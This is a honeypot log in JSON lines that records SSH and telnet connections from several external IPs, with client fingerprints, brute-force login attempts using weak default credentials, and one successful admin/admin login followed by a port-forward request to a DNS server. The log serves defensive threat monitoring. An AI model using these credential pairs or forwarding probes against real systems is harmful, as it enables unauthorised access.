{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":40166,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea2c72cfd96b","protocol":"ssh","message":"New connection: 50.225.176.238:40166 (10.17.0.5:22) [session: ea2c72cfd96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:44.567513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:44.572401Z","src_ip":"50.225.176.238","session":"ea2c72cfd96b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:44.584619Z","src_ip":"50.225.176.238","session":"ea2c72cfd96b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"test01","message":"login attempt [test01/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:44.667365Z","src_ip":"50.225.176.238","session":"ea2c72cfd96b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:00:45.683265Z","src_ip":"50.225.176.238","session":"ea2c72cfd96b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":47022,"dst_ip":"10.17.0.5","dst_port":22,"session":"e551fbcac8c1","protocol":"ssh","message":"New connection: 198.98.56.227:47022 (10.17.0.5:22) [session: e551fbcac8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:32.076880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:32.085911Z","src_ip":"198.98.56.227","session":"e551fbcac8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:32.090310Z","src_ip":"198.98.56.227","session":"e551fbcac8c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12344321","message":"login attempt [user/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:32.127049Z","src_ip":"198.98.56.227","session":"e551fbcac8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:33.147753Z","src_ip":"198.98.56.227","session":"e551fbcac8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":47774,"dst_ip":"10.17.0.5","dst_port":22,"session":"f23e2700a28d","protocol":"ssh","message":"New connection: 50.225.176.238:47774 (10.17.0.5:22) [session: f23e2700a28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:37.471155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:37.475286Z","src_ip":"50.225.176.238","session":"f23e2700a28d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:37.486605Z","src_ip":"50.225.176.238","session":"f23e2700a28d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:37.572305Z","src_ip":"50.225.176.238","session":"f23e2700a28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:38.587411Z","src_ip":"50.225.176.238","session":"f23e2700a28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.71788954734802,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:42.353025Z","src_ip":"212.55.149.117","session":"3fcbb673fd5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1394,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c88e7604faf","protocol":"ssh","message":"New connection: 87.251.64.176:1394 (10.17.0.5:22) [session: 1c88e7604faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:46.063550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:46.068569Z","src_ip":"87.251.64.176","session":"1c88e7604faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:46.165187Z","src_ip":"87.251.64.176","session":"1c88e7604faf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:46.456875Z","src_ip":"87.251.64.176","session":"1c88e7604faf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:46.555186Z","session":"1c88e7604faf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:46.654227Z","src_ip":"87.251.64.176","session":"1c88e7604faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:46.765409Z","src_ip":"87.251.64.176","session":"1c88e7604faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":44460,"dst_ip":"10.17.0.5","dst_port":22,"session":"45ab46f3b67e","protocol":"ssh","message":"New connection: 61.155.106.101:44460 (10.17.0.5:22) [session: 45ab46f3b67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:55.739049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:55.744436Z","src_ip":"61.155.106.101","session":"45ab46f3b67e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:56.721043Z","src_ip":"61.155.106.101","session":"45ab46f3b67e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracleoracle","message":"login attempt [ubuntu/oracleoracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:57.724329Z","src_ip":"61.155.106.101","session":"45ab46f3b67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:01:58.984284Z","src_ip":"61.155.106.101","session":"45ab46f3b67e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":35184,"dst_ip":"10.17.0.5","dst_port":22,"session":"f55baec5919e","protocol":"ssh","message":"New connection: 198.98.56.227:35184 (10.17.0.5:22) [session: f55baec5919e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:18.831627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:18.845658Z","src_ip":"198.98.56.227","session":"f55baec5919e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:18.850672Z","src_ip":"198.98.56.227","session":"f55baec5919e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"welcome","message":"login attempt [test/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:18.890130Z","src_ip":"198.98.56.227","session":"f55baec5919e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:19.909600Z","src_ip":"198.98.56.227","session":"f55baec5919e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":33820,"dst_ip":"10.17.0.5","dst_port":22,"session":"88cf4d7c681a","protocol":"ssh","message":"New connection: 50.225.176.238:33820 (10.17.0.5:22) [session: 88cf4d7c681a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:32.734758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:32.743437Z","src_ip":"50.225.176.238","session":"88cf4d7c681a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:32.755424Z","src_ip":"50.225.176.238","session":"88cf4d7c681a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tileserver","password":"tileserver","message":"login attempt [tileserver/tileserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:32.838896Z","src_ip":"50.225.176.238","session":"88cf4d7c681a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:02:33.853579Z","src_ip":"50.225.176.238","session":"88cf4d7c681a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45910,"dst_ip":"10.17.0.5","dst_port":22,"session":"39f47deef94b","protocol":"ssh","message":"New connection: 103.15.226.202:45910 (10.17.0.5:22) [session: 39f47deef94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:01.691786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:01.696963Z","src_ip":"103.15.226.202","session":"39f47deef94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:01.938743Z","src_ip":"103.15.226.202","session":"39f47deef94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:02.667065Z","src_ip":"103.15.226.202","session":"39f47deef94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:03.911993Z","src_ip":"103.15.226.202","session":"39f47deef94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":51580,"dst_ip":"10.17.0.5","dst_port":22,"session":"829cc5be2445","protocol":"ssh","message":"New connection: 198.98.56.227:51580 (10.17.0.5:22) [session: 829cc5be2445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:05.042365Z"}
